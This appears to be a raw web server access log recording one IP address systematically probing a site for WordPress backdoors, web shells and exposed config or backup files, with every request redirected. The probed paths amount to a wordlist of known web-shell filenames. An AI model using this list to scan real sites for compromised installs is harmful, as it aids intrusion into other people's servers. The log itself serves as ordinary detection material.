185.223.152.159 - - [08/Apr/2026:03:54:45 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:50 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:55 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:56 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:57 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:57 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:02 +0300] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:07 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:08 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:13 +0300] "GET /wp-includes/blocks/comment-reply-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:14 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:19 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:24 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:29 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:34 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:39 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:44 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:48 +0300] "GET /wp-includes/rest-api/search/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:54 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:55:58 +0300] "GET /wp-content/plugins/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:03 +0300] "GET /wp-content/plugins/wp-cache-sys/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:09 +0300] "GET /wp-includes/js/codemirror/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:14 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:14 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:19 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:24 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:29 +0300] "GET /wp-includes/js/dist/script-modules/block-library/navigation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:30 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:35 +0300] "GET /wp-includes/blocks/legacy-widget/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:36 +0300] "GET /wp-admin/maint/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:41 +0300] "GET /wp-includes/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:46 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:51 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:51 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:52 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:56:57 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:02 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:07 +0300] "GET /session_init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:12 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:16 +0300] "GET /wp-includes/assets/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:21 +0300] "GET /wp-includes/blocks/page-list/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:22 +0300] "GET /wp-includes/Requests/src/Exception/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:22 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:23 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:28 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:33 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:38 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:43 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:48 +0300] "GET /wp-includes/block-bindings/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:53 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:57:58 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:03 +0300] "GET /wp-includes/customize/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:08 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:13 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:18 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:23 +0300] "GET /wp-content/plugins/Iitespeed-cache/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:28 +0300] "GET /wp-content/languages/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:33 +0300] "GET /wp-content/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:38 +0300] "GET /wp-includes/sodium_compat/namespaced/customize/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:43 +0300] "GET /wp-content/themes/twentytwentytwo/parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:44 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:45 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:45 +0300] "GET /wp-content/plugins/revslider/temp/update_extract/revslider.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:50 +0300] "GET /wp-content/plugins/pretty-link/js/build/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:58:55 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:00 +0300] "GET /wp-content/themes/astra/inc/builder/type/base/dynamic-css/button/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:05 +0300] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:10 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:15 +0300] "GET /wp-content/plugins/woocommerce/includes/import/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:20 +0300] "GET /wp-includes/author-template-object.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:25 +0300] "GET /wp-content/uploads/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:30 +0300] "GET /wp-content/text.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:35 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:37 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:42 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:47 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:52 +0300] "GET /wp-content/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:59:57 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:02 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:07 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:12 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:17 +0300] "GET /wp-content/themes/wp-mail.phpp HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:22 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:27 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:32 +0300] "GET /wp-admin/widgets-form-blocks-interface.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:37 +0300] "GET /wp-includes/blocks/nextpage/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:42 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:47 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:52 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:00:57 +0300] "GET /wp-content/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:02 +0300] "GET /wp-content/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:07 +0300] "GET /wp-content/js/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:12 +0300] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:17 +0300] "GET /wp-content/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:22 +0300] "GET /wp-content/uploads/backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:27 +0300] "GET /wp-content/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:32 +0300] "GET /wp-includes/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:37 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:42 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:47 +0300] "GET /wp-includes/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:52 +0300] "GET /wp-includes/network/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:01:57 +0300] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:02 +0300] "GET /wp-content/srtdgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:07 +0300] "GET /wp-admin/js/advanc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:12 +0300] "GET /wp-admin/uploads/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:17 +0300] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:22 +0300] "GET /wp-admin/edit-tags-session.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:27 +0300] "GET /wp-content/plugins/js_composer_theme/include/classes/vendors/plugins/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:32 +0300] "GET /wp-content/plugins/wp-file-manager/lib/php/plugins/api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:37 +0300] "GET /wp-content/plugins/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:42 +0300] "GET /wp-content/plugins/jetpack/extensions/plugins/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:47 +0300] "GET /wp-content/plugins/loginpress/css/themes/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:52 +0300] "GET /wp-content/plugins/fileorganizer/manager/php/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:02:57 +0300] "GET /wp-content/themes/jupiter/assets/js/plugins/wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:02 +0300] "GET /wp-content/uploads/xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:07 +0300] "GET /wp-content/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:12 +0300] "GET /wp-includes/module.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:17 +0300] "GET /wp-admin/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:22 +0300] "GET /wp-includes/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:26 +0300] "GET /wp-includes/theme-compat/footer-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:31 +0300] "GET /wp-content/themes/master-blog/content-none-new-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:36 +0300] "GET /wp-content/plugins/wordpress-seo/wp-seo-trigger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:40 +0300] "GET /wp-content/plugins/contact-form-7/admin/css/styles-rtl.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:44 +0300] "GET /wp-content/themes/twentyfifteen/content-search.bar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:49 +0300] "GET /wp-content/themes/twentyfourteen/inc/widgets-core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:54 +0300] "GET /wp-includes/js/mediaelement/wp-mediaelement.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:03:59 +0300] "GET /wp-includes/js/thickbox/class-menushelp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:04 +0300] "GET /wp-includes/feed-data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:09 +0300] "GET /wp-includes/theme-compat/header.item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:14 +0300] "GET /wp-includes/capabilities-json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:18 +0300] "GET /wp-includes/ID3/module.audio.ogg-data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:23 +0300] "GET /wp-includes/widgets/class-wp-widget-calendar-js.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:27 +0300] "GET /wp-content/themes/twentytwentyone/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:28 +0300] "GET /wp-includes/blocks/footnotes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:29 +0300] "GET /wp-includes/lib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:34 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:39 +0300] "GET /wp-includes/Requests/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:44 +0300] "GET /wp-includes/blocks/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:49 +0300] "GET /wp-includes/settings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:54 +0300] "GET /wp-includes/images/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:04:59 +0300] "GET /wp-includes/images/media/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:04 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:04 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:05 +0300] "GET /wp-admin/images/Base.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:10 +0300] "GET /wp-admin/images/Cap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:15 +0300] "GET /wp-includes/theme-compat/theme-compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:20 +0300] "GET /wp-includes/theme-compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:25 +0300] "GET /wp-includes/widgets/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:30 +0300] "GET /wp-includes/wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:35 +0300] "GET /wp-includes/certificates/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:40 +0300] "GET /wp-includes/js/dist/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:45 +0300] "GET /wp-includes/js/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:50 +0300] "GET /wp-includes/js/imgareaselect/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:05:55 +0300] "GET /wp-includes/js/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:00 +0300] "GET /wp-includes/js/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:05 +0300] "GET /wp-includes/js/jcrop/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:10 +0300] "GET /wp-includes/js/wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:15 +0300] "GET /wp-includes/app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:19 +0300] "GET /wp-includes/fonts/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:24 +0300] "GET /wp-includes/footer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:29 +0300] "GET /wp-includes/rest-api/search/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:35 +0300] "GET /wp-includes/rest-api/endpoints/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:40 +0300] "GET /wp-includes/rest-api/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:44 +0300] "GET /wp-includes/random_compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:50 +0300] "GET /wp-includes/init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:06:55 +0300] "GET /wp-admin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:00 +0300] "GET /wp-content/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:04 +0300] "GET /wp-content/backup-migration/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:09 +0300] "GET /wp-content/uploads/redux/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:10 +0300] "GET /wp-content/languages/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:15 +0300] "GET /wp-content/languages/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:20 +0300] "GET /wp-content/plugins/pwnd/bypass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:25 +0300] "GET /wp-admin/class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:30 +0300] "GET /wp-content/plugins/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:35 +0300] "GET /wp-content/plugins/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:40 +0300] "GET /wp-content/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:45 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:48 +0300] "GET /wp-content/uploads/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:53 +0300] "GET /wp-content/themes/twentynineteen/sass/site/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:07:57 +0300] "GET /wp-content/themes/twentytwenty/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:02 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:03 +0300] "GET /wp-content/edit-tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:08 +0300] "GET /root.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:13 +0300] "GET /wp-includes/webix.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:18 +0300] "GET /wp-content/uploads/ms-files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:23 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:28 +0300] "GET /wp-content/uploads/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:33 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:38 +0300] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:43 +0300] "GET /wp-admin/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:48 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 